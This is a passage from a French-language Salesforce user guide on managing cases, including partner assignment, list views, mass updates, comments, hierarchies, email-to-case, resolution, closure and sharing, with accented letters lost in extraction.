Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour attribuer des requtes des partenaires :

Modifier dans les requtes

AND
Transfrer les requtes or transfrer l'enregistrement

Affectation de requtes aux utilisateurs partenaires

Pour attribuer des requtes des utilisateurs du portail partenaire, vous devez d'abord configurer des requtes pour des utilisateurs
du portail. En plus des autorisations utilisateur requises pour cette fonction, vous devez disposer de l'accs en affichage aux
requtes que vous mettez jour.
Pour attribuer des requtes des utilisateurs partenaires :
1. Slectionnez une requte dans l'onglet Requtes ou la liste associe Requtes.
2. Dans la page de dtails de la requte, cliquez sur Modifier en regard du champ Responsable de la requte.
3. Slectionnez Utilisateur partenaire dans la liste droulante Responsable, puis entrez le nom de l'utilisateur partenaire ou
cliquez sur l'icne de recherche ( ) pour rechercher un utilisateur partenaire.
4. Vous pouvez galement cocher la case Envoyer une notification par e-mail pour envoyer un e-mail au nouveau
responsable.
5. Cliquez sur Enregistrer.
L'utilisateur partenaire peut afficher et modifier la requte depuis le portail partenaire.
En outre, vous pouvez crer des rgles d'attribution de requtes et des rgles de hirarchisation qui attribuent automatiquement
des requtes aux utilisateurs partenaires ou aux files d'attente en fonction de certaines proprits de ces requtes.

Requtes

Guide de l'utilisateur | Affichage de listes de requtes | 1208

Pour plus d'informations sur la manire dont vos utilisateurs partenaires peuvent crer et modifier des requtes dans le portail
partenaire, tlchargez l'Aide de l'utilisateur du portail partenaire.

Voir aussi :
Prsentation du portail partenaire
Affichage et modification de requtes

Affichage de listes de requtes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des listes de requtes :

Autorisation de lecture sur les requtes

Pour crer des requtes :

Autorisation de cration sur les requtes

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
La page de liste Requtes affiche la liste des requtes de votre vue actuelle. partir de cette page, vous pouvez afficher des
informations de requte dtailles et accder d'autres informations connexes. Dans les entreprises Professional Edition,
Enterprise Edition, Unlimited Edition et Developer Edition qui ont configur la console, vous pouvez afficher des vues de
liste de requte via la vue de liste de la console.

En fonction des autorisations de l'utilisateur sur les requtes, vous voyez apparatre l'un des liens Modifier ou Suppr.
Cliquez sur Modifier pour modifier les donnes d'une requte spcifique. Cliquez sur Suppr pour supprimer une requte.
Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Cochez la case en regard d'une ou de plusieurs requtes, puis utilisez les boutons situs en haut de la vue pour clore les
requtes, en endosser la responsabilit ou modifier le statut ou le responsable d'une requte. Reportez-vous Modification
de plusieurs requtes la page 1210.
Les requtes marqus d'une flche rouge ont t automatiquement hirarchiss au moyen de la rgle de hirarchie de votre
entreprise.
Pour devenir le responsable d'une ou de plusieurs requtes d'une file d'attente, affichez la vue de liste de la file d'attente,
cochez les cases correspondant aux requtes souhaites, puis cliquez sur Accepter.
Remarque: Le modle de partage l'chelle de l'organisation d'objet dtermine l'accs des utilisateurs aux
enregistrements de cet objet dans les files d'attente :
Accs public en lecture/criture/Transfert
Les utilisateurs peuvent afficher et rendre la responsabilit d'enregistrements de n'importe quelle file d'attente.

Requtes

Guide de l'utilisateur | Affichage de listes de requtes | 1209

Accs public en lecture/criture ou Accs public en lecture seule

Les utilisateurs peuvent afficher n'importe quelle file d'attente mais peuvent prendre la responsabilit
uniquement d'enregistrements de files d'attente dont ils sont membres ou, selon les paramtres de partage,
s'ils se situent un niveau suprieur qu'un membre de la file d'attente dans la hirarchie des rles ou des
territoires.
Priv
Les utilisateurs peuvent uniquement afficher et accepter des enregistrements de files d'attente dont ils sont
membres ou, selon les paramtres de partage, s'ils se situent un niveau suprieur qu'un membre de la file
d'attente dans la hirarchie des rles ou des territoires.
Quel que soit le modle de partage, les utilisateurs doivent avoir l'autorisation Modifier pour prendre la responsabilit
d'enregistrements des files d'attente desquelles ils sont membres. Les administrateurs et utilisateurs disposant de
l'autorisation au niveau de l'objet Modifier tout' pour les requtes et les utilisateurs disposant de l'autorisation
Modifier toutes les donnes peuvent afficher et extraire des enregistrements de toutes les files d'attente, quel que
soit le modle de partage ou leur appartenance la file d'attente.

Cliquez sur Nouvelle requte ou slectionnez Requte dans la liste droulante Crer du menu latral pour crer une
requte. Ces options apparaissent uniquement si vous disposez de l'autorisation de cration sur les requtes.
Cliquez sur un en-tte de colonne pour trier les requtes par ordre croissant en fonction des informations de cette colonne.
Cliquez de nouveau sur l'en-tte pour trier la colonne par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante ou Page prcdente pour passer au groupe de requtes suivant ou prcdent.
Au bas de la vue de liste, cliquez sur moins ou sur plus pour afficher une liste plus courte ou plus longue.
Remarque: Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez
accorder un accs plus tendu aux requtes que ne le permet le modle de partage. Reportez-vous Partage de requtes
la page 1221.

Voir aussi :
Personnalisation des paramtres de l'interface utilisateur
Utilisation des listes avances
Utilisation de la modification en ligne dans des listes

Requtes

Guide de l'utilisateur | Modification de plusieurs requtes | 1210

Modification de plusieurs requtes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier le responsable de la requte :

Transfrer les requtes OU Transfrer l'enregistrement

ET
Modifier dans les requtes

Pour clturer et modifier le statut des requtes :

Grer les requtes

Depuis n'importe quelle page de liste de requte, les administrateurs peuvent effectuer la mise jour en masse de plusieurs
requtes la fois. Depuis n'importe quelle vue de liste des files d'attente, les utilisateurs peuvent prendre la responsabilit d'une
ou plusieurs requtes. Ils doivent, pour cela, tre membres de la file d'attente concerne, tre situs en amont d'un membre de
file dans la hirarchie des rles ou des territoires, ou le partage de requtes par dfaut de leur organisation doit tre Accs public
en lecture/criture/transfert. Il suffit pour cela de cocher la case en regard des requtes souhaites, puis de cliquer sur le bouton
adquat. Les actions disponibles sont les suivantes :

Accepter : vous attribue la responsabilit des requtes slectionnes dans une vue de liste de files d'attente. Toutes les
activits en cours associes vous sont galement transfres. Dans les entreprises non dotes du modle de partage
Lecture/criture/transfert publics pour les requtes, vous pouvez extraire des requtes des files d'attente dont vous tes
membre uniquement ou si vous tes plac en amont d'un membre d'une file d'attente dans la hirarchie des rles.
Modifier le responsable : attribue les requtes l'utilisateur ou la file d'attente que vous spcifiez. Toutes les activits en
cours associes sont galement transfres au nouveau responsable. Les activits en cours ne sont pas transfres lors de
l'attribution de requtes une file d'attente.
En plus des autorisations utilisateur requises pour cette fonction, vous devez disposer de l'accs de partage en lecture aux
requtes que vous mettez jour.
Remarque: Lors d'un changement responsable, toutes les activits ouvertes associes au responsable de requte
actuel sont transfres vers le nouveau responsable.

Clore : ferme les requtes slectionnes l'aide des valeurs indiques. Vous pouvez dfinir un statut et un motif
communs et ajouter un commentaire.
Vous devez disposer de l'autorisation Grer les requtes et de l'accs de partage en lecture/criture aux requtes pour pouvoir
utiliser cette fonction.

Modifier le statut : modifie le statut des requtes en fonction de la valeur que vous dfinissez.

Requtes

Guide de l'utilisateur | Affichage et modification de requtes | 1211

Vous devez disposer de l'autorisation Grer les requtes et de l'accs de partage en lecture/criture aux requtes pour pouvoir
utiliser cette fonction.

Voir aussi :
Modification de la responsabilit

Affichage et modification de requtes

Les rgles d'attribution de requte, les rgles de hirarchie de requte et le portail libre-service sont disponibles avec :
Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition.

Autorisations utilisateur requises

Pour afficher des requtes :

Autorisation de lecture sur les requtes

Pour modifier des requtes :

Autorisation de modification sur les requtes

Affichage de requtes
Une fois que vous avez localis une requte sur la page d'accueil ou sur la page de liste des requtes, cliquez sur son nom
pour afficher les informations dtailles correspondantes. Depuis la page de dtails d'une solution, d'un contact ou d'un
compte, vous pouvez galement cliquer sur le numro de la requte dans la liste associe Requtes. La liste associe
Requtes affiche alors toutes les requtes associes cet lment.
Conseil: Si votre organisation a activ les dtails de placement, survolez un champ de recherche dans la page
de dtails pour afficher les principales informations relatives un enregistrement avant de cliquer sur la page de
dtails correspondante.
Dans les entreprises Professional Edition, Enterprise Edition, Unlimited Edition ou Developer Edition ayant configur
la console, l'onglet Console permet de rechercher, d'afficher et de modifier les requtes et leurs enregistrements associs
sur un seul et mme cran. Pour plus d'informations, reportez-vous Affichage de la console la page 1245 et Navigation
dans la console la page 1245.
Les requtes marques d'une flche rouge ont t automatiquement hirarchises en utilisant la rgle de hirarchisation
de votre entreprise. Les requtes marques d'une icne de commentaire rouge comportent un nouveau commentaire
ajout par un client via le portail libre-service.
Affichage des requtes Web
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, les requtes gnres via la
fonction Web vers requte contiennent une section supplmentaire intitule Informations sur la fonction Web requte,
comprenant toutes les donnes saisies par votre client.
Modification de requtes
Pour mettre jour une requte, cliquez sur Modifier, puis modifiez les champs que vous souhaitez mettre jour. Si vous
mettez le champ Nom du contact jour, le champ Nom du compte n'indique pas automatiquement par dfaut le
compte associ au contact lors de l'enregistrement de la requte. Cependant, vous pouvez changer le contenu du champ

Requtes

Guide de l'utilisateur | Affichage et modification de requtes | 1212

Nom du compte lors des mises jour ultrieures. Si le contact est un utilisateur libre-service, il ne peut voir sur le portail

libre-service que les requtes associes au compte figurant sur son enregistrement de contact.
Si cette fonction est active, vous pouvez activer Envoyer une notification par e-mail au contact sous
les dtails de la requte pour notifier automatiquement au contact la mise jour de la requte (un e-mail est envoy
uniquement si vous avez accs au contact), et activer la case Procder l'attribution l'aide des rgles
d'attribution en vigueur pour rattribuer automatiquement la requte l'aide de la rgle d'attribution de requte.
Lorsque vous avez termin de modifier la requte, cliquez sur Enregistrer. Vous pouvez galement cliquer sur Enregistrer
et Nouveau pour enregistrer la requte actuelle et en crer une nouvelle, ou cliquer sur Enregistrer et Fermer pour
enregistrer et fermer la requte actuelle.
Remarque: Si votre organisation a activ la modification en ligne, vous pouvez modifier les champs directement
dans la page de dtails.

Marquage de requtes
Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un
noms de balise pour afficher une liste de tous les enregistrements contenant cette balise.
Rponse des requtes par e-mail
Pour rpondre et utiliser des requtes cres via la fonction E-mail vers requte ou E-mail vers requte la demande,
utilisez la liste associe des e-mails de la requte.
Clture de requtes
Pour clore une requte, cliquez sur Fermer la requte, modifiez son statut, renseignez tout autre champ, puis cliquez
sur Enregistrer. Si la requte a t active par votre administrateur, vous pouvez galement slectionner Cltur dans le
champ Statut d'une page de modificcation de la requte, puis cliquer sur Enregistrer.
Partage
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, pour partager une requte et
les informations associes avec d'autres utilisateurs, groupes ou rles, cliquez sur Partage. Reportez-vous Partage de
requtes la page 1221.
Recherche de solutions
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, pour rechercher une solution
pour une requte, saisissez les mots-cls correspondants dans la zone de recherche de la liste associe Solutions, slectionnez
la catgorie dans laquelle effectuer la recherche (si votre organisation utilise des catgories de solutions), puis cliquez sur
Chercher une solution. Pour pouvoir utiliser ce bouton, les utilisateurs doivent disposer de l'autorisation Lire dans les
solutions.
Si la fonction de suggestions de solutions est active pour les requtes, cliquez sur le bouton Afficher les suggestions de
solutions pour rechercher des solutions susceptibles de vous aider rsoudre la requte. Les suggestions de solutions de
la requte sont recherches l'aide d'une formule qui value automatiquement la pertinence de chaque solution sur la
base de la frquence des mots, de la similarit des requtes et des solutions associes.
Si votre entreprise dispose de solutions multilingues, les rsultats de la recherche renvoient les solutions dont la langue
comporte les mots-cls recherchs. Nanmoins, les rsultats de la recherche dans toutes les langues peuvent ne pas tre
fiables car les termes recherchs d'une langue l'autre sont traits diffremment.

Requtes

Guide de l'utilisateur | Affichage et modification de requtes | 1213

Pour plus d'informations sur l'utilisation de solutions pour rsoudre votre requte, reportez-vous Rsolution de requtes
la page 1220.
Recherche d'articles
Dans Enterprise Edition et Unlimited Edition, pour rechercher des articles en vue de rsoudre une requte, cliquez sur
Rechercher des articles.
Ce bouton est disponible si la base de connaissances Salesforce Knowledge la page 1500 est active et que vous disposez
de l'autorisation Afficher les articles .
Lorsque vous trouvez des articles utiles, joignez-les la requte. Cliquez sur Dtacher pour retirer les articles d'une
requte.
Listes associes aux requtes
La partie infrieure de l'affichage prsente des informations associes la requte, comprenant des activits, des solutions,
des e-mails, l'historique, des commentaires, des rles de contact, des requtes associes, des membres d'une quipe de
requtes, des actifs et des pices jointes.
Vous pouvez cliquer sur des lments individuels pour afficher des dtails supplmentaires. Cliquez sur plus au bas de
la page ou sur Afficher plus d'informations sous une liste associe pour afficher d'autres lments. Cliquez sur le bouton
Nouveau pour ajouter directement de nouveaux lments. Par exemple, le fait de cliquer sur Nouvelle tche vous permet
d'ajouter une nouvelle tche.
Les listes associes qui s'affichent dpendent de vos paramtres de personnalisation et de ceux dfinis par votre
administrateur pour la prsentation des pages ou par vos autorisations d'affichage des donnes connexes.
Impression de requtes
Pour afficher une vue imprimable de toutes les informations sur un enregistrement, cliquez sur Vue imprimable dans la
page de dtails.
Pour revenir la dernire page de liste affiche, cliquez sur Retour la liste en haut de la page de dtails. Si votre organisation
a activ l'option de rduction des sections de page, utilisez les icnes reprsentant des flches prs des en-ttes de section pour
dvelopper ou rduire chaque section de la page des dtails.

Voir aussi :
Historique de Requte
Commentaires sur la requte
Utilisation des e-mails de requte
Attribution de requtes
Navigation dans la console
Que sont les solutions multilingues ?
Prsentation des quipes de requte

Requtes

Guide de l'utilisateur | Affichage et modification de requtes | 1214

Historique de Requte
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des requtes :

Autorisation de lecture sur les requtes

La liste associe Historique de la requte sur une page de dtails d'une requte prsente le suivi des modifications apportes
la requte. Chaque fois qu'un utilisateur modifie un champ standard ou personnalis dont l'historique doit tre suivi dans la
requte, une nouvelle entre est ajoute la liste associe Historique de la requte. Toutes les entres comprennent la date,
l'heure et la nature de la modification, ainsi que le nom de l'utilisateur ayant apport la modification. Les modifications apportes
aux listes associes de la requte ne sont pas suivies dans l'historique de la requte. Pour plus d'informations sur la configuration
des champs suivis, reportez-vous Suivi de l'historique des champs la page 410.
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, pour les modifications automatises
rsultant de rgles de la fonction Web vers requte, de rgles d'attribution de requte ou de rgles de hirarchie, l'utilisateur
rpertori dans l'historique est l'utilisateur de requte automatique dfini dans les paramtres de support.
Reportez-vous Personnalisation des paramtres de support la page 597.

Commentaires sur la requte

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour visualiser des commentaires de requte :

Autorisation de lecture sur les requtes

Pour ajouter des commentaires de requte et les rendre publics : Modifier ou crer dans les requtes
Pour modifier ou supprimer des commentaires de requte
ajouts par d'autres utilisateurs :

Modifier tout dans les requtes

Pour modifier, supprimer ou publier vos commentaires de

requte existants :

Modifier les commentaires de requte

La liste Commentaires sur la requte associe la page de dtails d'une requte affiche la liste des commentaires ajouts la
requte. Vous pouvez ajouter un commentaire priv cette liste en saisissant du texte dans le champ Commentaires internes
d'une requte, puis cliquer sur Enregistrer.
Les commentaires de requtes peuvent rester privs ou tre publis dans le contact d'une requte via le portail client ou le
portail libre-service.
Dans la liste associe Commentaires sur la requte, cliquez sur :

Nouveau pour ajouter un commentaire.

Requtes

Guide de l'utilisateur | Affichage et modification de requtes | 1215

Modifier pour modifier un commentaire existant.

Suppr pour supprimer un commentaire de requte existant.
Partager ou Ne pas partager pour modifier le statut public d'un commentaire dans le portail client ou le portail libre-service.
Remarque: Si vous publiez des requtes et des commentaires de requtes pour des contacts externes via Salesforce
to Salesforce, tous les commentaires de requtes publics sont automatiquement partags avec une connexion lorsque
vous partagez une requte. Pour arrter le partage d'un commentaire, slectionnez Ne pas partager.

Vous pouvez configurer votre portail client ou portail libre-service pour permettre aux utilisateurs d'ajouter des commentaires
leurs requtes. Lorsqu'un utilisateur du portail ajoute un commentaire, le responsable de la requte reoit une notification
par e-mail. En outre, une icne de commentaire ( ) reste affiche dans l'en-tte de la requte jusqu' l'affichage de la requte
par son responsable.

Voir aussi :
Configuration du libre-service
Personnalisation de la page d'affichage des requtes
Modification des commentaires de requte
Personnalisation des paramtres de support

Modification des commentaires de requte

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour visualiser des commentaires de requte :

Autorisation de lecture sur les requtes

Pour ajouter des commentaires de requte et les rendre publics : Modifier ou crer dans les requtes
Pour modifier ou supprimer des commentaires de requte
ajouts par d'autres utilisateurs :

Modifier tout dans les requtes

Pour modifier, supprimer ou publier vos commentaires de

requte existants :

Modifier les commentaires de requte

La page de modification Commentaire de requte permet de crer un commentaire de requte ou de modifier un commentaire
existant. Les sections Dtails de la requte et Commentaires sur les requtes contiennent des dtails sur la requte associe et
prcisent tous les commentaires prcdemment ajouts.
Pour crer ou modifier un commentaire de requte :
1. Saisissez les commentaires associs une requte dans le champ Commentaire.
2. Vous pouvez galement cocher la case Public pour permettre au contact associ la requte d'afficher le commentaire
dans le Portail client ou le portail libre-service et pour activer l'envoi d'e-mails de notification de commentaire au contact.
3. Si ncessaire, cochez la case Envoyer une notification au client pour informer le contact associ la requte
du nouveau commentaire public.

Requtes

Guide de l'utilisateur | Affichage des hirarchies de requtes | 1216

La case Envoyer une notification au client apparat quand :

Un administrateur a permis l'envoi de notifications de commentaire de requte aux contacts via les pages des paramtres
de support ou des paramtres du portail libre-service.
Le commentaire est marqu comme public.
Un contact est associ la requte.
Le contact associ la requte a une adresse e-mail valide.

4. Cliquez sur Enregistrer.

Voir aussi :
Commentaires sur la requte
Affichage et modification de requtes

Affichage des hirarchies de requtes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des requtes :

Autorisation de lecture sur les requtes

Pour afficher les requtes principales :

Autorisation de lecture sur les requtes

Une hirarchie de requtes vous indique les requtes associes les unes aux autres via le champ Requte principale.
Lorsqu'une requte est associe une requte principale, une relation est tablie entre elles : regroupement de requtes similaires
pour un suivi plus ais ou division d'une requte en plusieurs dont la rsolution sera confie diffrents utilisateurs. Dans la
hirarchie de requtes, les requtes sont places en retrait pour indiquer qu'elles sont associes la requte principale situe
au-dessus d'elles.

Pour afficher la hirarchie d'une requte, cliquez sur Afficher la hirarchie en regard du champ Numro de la requte
de la page des dtails de la requte.
Pour spcifier qu'une requte est associe une autre requte, modifiez-la et saisissez le numro de la requte principale
dans le champ Requte principale. Vous pouvez galement cliquer sur l'icne de recherche pour rechercher le numro
d'une requte.
Remarque: Une requte principale doit exister pour pouvoir tre saisie et enregistre dans le champ Requte
principale.

Pour crer une requte qui est automatiquement associe une autre dont vous affichez la page de dtails, cliquez sur le
bouton Nouveau dans la liste associe Requtes associes. partir du bouton de liste droulante Nouveau, vous pouvez

Requtes

Guide de l'utilisateur | Affichage des hirarchies de requtes | 1217

choisir de crer une requte vide ou une requte contenant des informations provenant de la requte principale. Pour plus
d'informations sur la liste associe Requtes associes, reportez-vous Requtes associes la page 1217.

Voir aussi :
Affichage et modification de requtes

Requtes associes
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des requtes :

Autorisation de lecture sur les requtes

Pour crer des requtes :

Autorisation de cration sur les requtes

Si votre administrateur l'a prvu ainsi, les pages de dtails des requtes affichent une liste associe Requtes associes o figurent
toutes les requtes dpendant directement d'une requte principale de la hirarchie des requtes. Les requtes peuvent tre
associes les unes aux autres via le champ de recherche Requte principale d'une page de modification de requte.
Lorsqu'une requte est associe une requte principale, une relation est tablie entre elles : regroupement de requtes similaires
pour un suivi plus ais ou division d'une requte en plusieurs dont la rsolution sera confie diffrents utilisateurs.
Dans la liste associe Requtes associes, cliquez sur :

Modifier pour modifier une requte existante.

Cls pour clore une requte existante.

Pour raliser des actions en masse partir de la liste associe Requtes associes, cochez les cases en regard des requtes
mettre jour, puis cliquez sur :

Clore pour fermer les requtes slectionnes l'aide des valeurs indiques.
Modifier le responsable pour attribuer les requtes l'utilisateur ou la file d'attente que vous spcifiez.
Modifier le statut pour modifier le statut des requtes en fonction de la valeur indique.

Pour plus d'informations sur les actions en masse portant sur des requtes, reportez-vous Modification de plusieurs requtes
la page 1210.

Voir aussi :
Affichage des hirarchies de requtes

Requtes

Guide de l'utilisateur | Utilisation des e-mails de requte | 1218

Utilisation des e-mails de requte

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des requtes :

Autorisation de lecture sur les requtes

Pour utiliser les e-mails de requte :

Autorisation de modification sur les requtes

Les requtes gnres via la fonction E-mail vers requte ou E-mail vers requte la demande s'affichent dans la liste associe
E-mails. Cette liste comprend tous les e-mails envoys par votre client concernant une requte particulire, ainsi que les threads
d'e-mails entre vous et votre client. Les 77 premiers caractres de l'e-mail s'affichent dans la liste associe, ce qui vous permet
de prendre connaissance du message sans avoir cliquer dessus.
Pour utiliser la fonction E-mail vers requte ou E-mail vers requte la demande :

Pour envoyer un e-mail un contact, un autre utilisateur ou une autre adresse, cliquez sur le bouton Envoyer un e-mail.
Reportez-vous Envoi d'e-mails la page 1386 pour plus d'informations.
Pour rpondre un e-mail, cliquez sur le bouton Rpondre. La rponse inclut automatiquement le corps de l'e-mail reu
du client. Saisissez la rponse, puis cliquez sur le bouton Envoyer.
Lorsque vous rpondez des e-mails dans la liste associe E-mail vers requte, le champ De : de votre e-mail peut s'afficher
chez les destinataires en no-reply@salesforce.com ou support@company.com. Cet affichage dpend de la
rception des en-ttes Expditeur et De de l'e-mail entrant par les applications de messagerie des destinataires. Par
dfaut, un paramtre Activer la conformit Sender ID est activ pour votre organisation, permettant aux messages
envoys depuis Salesforce.com d'tre conformes aux applications de messagerie qui ncessitent des en-ttes Expditeur
pour la livraison. Pour plus d'informations, reportez-vous Configuration des paramtres de livraison la page 344.

Pour rpondre tous les participants d'un mme thme, cliquez sur le bouton tous.
Cliquez sur l'objet de l'e-mail pour afficher l'e-mail. Une fois l'e-mail ouvert, vous pouvez rpondre l'expditeur ou tout
le monde, transfrer l'e-mail ou le supprimer.
Lorsque vous affichez l'e-mail, vous pouvez afficher la liste de tous les e-mails associs la requte en cliquant sur le bouton
Liste des e-mails, puis naviguer parmi les autres e-mails de la requte en cliquant sur le bouton Suivant ou Prcdent.
Remarque: Les liens Liste des e-mails, Suivant et Prcdent ne sont pas disponibles dans le portail client et dans
le portail partenaire.

Pour transfrer un e-mail affich, cliquez sur le bouton Suite. L'e-mail inclut automatiquement le corps de l'e-mail reu
du client. Vous pouvez aussi saisir votre texte, puis cliquer sur le bouton Envoyer.
Si l'e-mail d'origine tait un message HTML, vous pouvez afficher la version HTML en cliquant sur le lien Cliquez ici
pour afficher la version HTML Si vous voulez afficher l'en-tte de l'e-mail dans sa totalit, cliquez sur le lien Cliquez ici
pour afficher les en-ttes de l'e-mail d'origine.
Pour afficher toutes les pices jointes aux e-mails entrants, ouvrez la liste associe Pices jointes dans chaque e-mail. Pour
afficher toutes les pices jointes aux e-mails sortants, ouvrez la liste associe Pices jointes des e-mails sortants.
La taille maximale d'une pice jointe est de 5 Mo. L'utilisateur ayant configur l'agent e-mail peut afficher son fichier
journal pour voir si des pices jointes ont dpass la taille limite.

Requtes

Guide de l'utilisateur | Utilisation des e-mails de requte | 1219

Cliquez sur Suppr pour supprimer un e-mail. Vous pouvez rcuprer dans la Corbeille un e-mail supprim. Cependant,
si vous supprimez un e-mail d'une requte, puis que vous supprimez cette requte, vous ne pourrez pas rcuprer dans la
Corbeille l'e-mail supprim.

Dans la liste associe E-mail, les e-mails sont rpertoris dans l'ordre de rception (le premier e-mail tant le plus rcent). Les
e-mails de cette liste associe prsentent l'un des statuts suivants :
Statut des messages

Description

Nouveau

E-mail entrant qui n'a pas t lu.

Le contenu du champ Objet s'affiche en gras pour les e-mails
avec le statut Nouveau.

Lire

E-mail entrant qui a t lu, sans rponse.

Envoy

E-mail sortant.

Rpondu

E-mail sortant qui a fait l'objet d'une rponse. Rpondre un

e-mail lui donne le statut Rpondu.

Dans la liste associe E-mail, l'icne de pice jointe

dsigne les e-mails contenant des pices jointes.

Lorsqu'une requte contient un nouvel e-mail (non lu), le systme gnre automatiquement, dans la liste de tches du responsable
de la requte, une tche E-mail associe cette requte, qui affiche l'objet de l'e-mail. Le responsable peut alors prendre
facilement connaissance de cette nouvelle tche dans l'onglet Accueil ou dans la liste associe Activits en cours de cette requte.
Depuis la tche, le responsable peut cliquer sur un lien pour afficher l'e-mail associ la requte. Lorsque l'utilisateur rpond
l'e-mail, le systme supprime la tche de la liste de tches du responsable et l'ajoute la liste associe Historique des activits
de la requte. L'utilisateur peut galement dplacer la tche correspondant l'e-mail auquel il n'a pas rpondu vers la liste
associe Historique des activits, en modifiant le statut de cette tche pour le faire passer Termin.
Remarque: Lorsque des e-mails entrants crent une requte et que les rgles d'attribution acheminent cette requte
une file d'attente, le systme attribue la tche E-mail l'utilisateur configur dans l'agent de message.
Si un e-mail entrant ne contient pas l'adresse e-mail d'un contact existant, le champ Nom du site Web de la requte
est automatiquement mis jour avec le nom qui figure dans le champ d'expditeur de l'e-mail et le champ E-mail
du site Web de la requte est automatiquement mis jour avec l'adresse fournie dans l'e-mail entrant.
Conseil: Lors de l'excution des Requtes avec un Rapport d'e-mail, cochez la case Entrants sur la page Slectionner
les colonnes de l'assistant de rapports pour afficher les requtes reues via E-mail vers requte.

Voir aussi :
Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande

Requtes

Guide de l'utilisateur | Rsolution de requtes | 1220

Rsolution de requtes
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour rsoudre des requtes :

Autorisation de modification sur les requtes

AND
Autorisation de lecture sur les solutions

Pour rsoudre une requte :

1. Affichez la requte.
2. Recherchez un article ou une solution qui rpond la question de la requte.
3. Joignez l'article ou la solution la requte :

Cliquez sur Slectionner en regard d'une solution rvise dans la liste des solutions. Vous pouvez galement cliquer
sur le titre d'une solution non rvise, puis sur Slectionner dans la page des dtails de la solution.

4. Envoyez la solution au contact par e-mail en cliquant sur Envoyer un e-mail dans la liste associe Historique des activits.
a. Cliquez sur Slectionner un modle, puis choisissez un modle.
Vous et votre administrateur pouvez crer des modles d'e-mail comprenant automatiquement la description de la
requte, les dtails de la solution, les pices jointes la solution, ainsi que d'autres champs.
b. Renseignez les champs d'e-mail.
c. Cliquez sur Envoyer.
La solution envoye par e-mail n'est pas consigne en tant qu'activit dans la liste associe Historique des activits.
5. Fermez le requte.

Voir aussi :
Que sont les suggestions de solutions ?
Que sont les solutions multilingues ?

Requtes

Guide de l'utilisateur | Clture de requtes | 1221

Clture de requtes
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour fermer des requtes :

Autorisation de modification sur les requtes

Pour clore une requte :

1. Cliquez sur Fermer la requte sur la page de dtails de la requte, sur Cls sur la liste associe Requtes, ou sur Enregistrer
et Fermer au cours de la modification de la requte.
Si cette fonction est active par votre administrateur, vous pouvez slectionner Cltur dans le champ Statut des pages
de modification de requtes, puis cliquer sur Enregistrer sans avoir effectuer la procdure ci-dessous.
2. Configurez le statut sur Clos, ajoutez un commentaire interne si ncessaire, puis renseignez tout autre champ
prsent.
3. Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, pour crer une solution partir
de cette requte, remplissez le champ Dtails de la solution et dslectionnez la case Soumettre aux solutions
publiques pour qu'elle ne soit pas analyse par vos responsables solutions. Si cette case est coche, la requte est
automatiquement lie la solution.
Vous ne pouvez pas crer un article partir d'une requte.
4. Si un contact est associ cette requte, cochez la case Avertir le contact de la clture de la requte
pour envoyer au contact un e-mail bas sur le modle de clture de requte lors de la clture de la requte.
5. Cliquez sur Enregistrer pour achever la procdure.
6. Pensez envoyer la solution au contact, comme dcrit dans Rsolution de requtes la page 1220.
Un administrateur, ou un utilisateur autoris grer les requtes, peut clore plusieurs requtes simultanment en utilisant le
bouton Fermer de la page de liste des requtes. Cette dernire procdure est recommande pour les requtes similaires prsentant
la mme solution. Reportez-vous Modification de plusieurs requtes la page 1210.

Partage de requtes
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des requtes :

Autorisation de lecture sur les requtes

Votre administrateur est charg de dfinir le modle de partage par dfaut de toute l'organisation. Vous pouvez modifier ce
modle pour tendre le partage d'autres utilisateurs que ceux dfinis par l'administrateur. Par contre, vous ne pouvez pas
restreindre les possibilits de partage par rapport au modle par dfaut.

Requtes

Guide de l'utilisateur | Partage de requtes | 1222

Pour afficher et grer les dtails du partage, cliquez sur Partage dans la page de dtails de la requte. Cette page rpertorie les
utilisateurs, les groupes, les rles et les territoires qui disposent d'un accs partag la requte. Cette page permet d'effectuer
les oprations suivantes :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
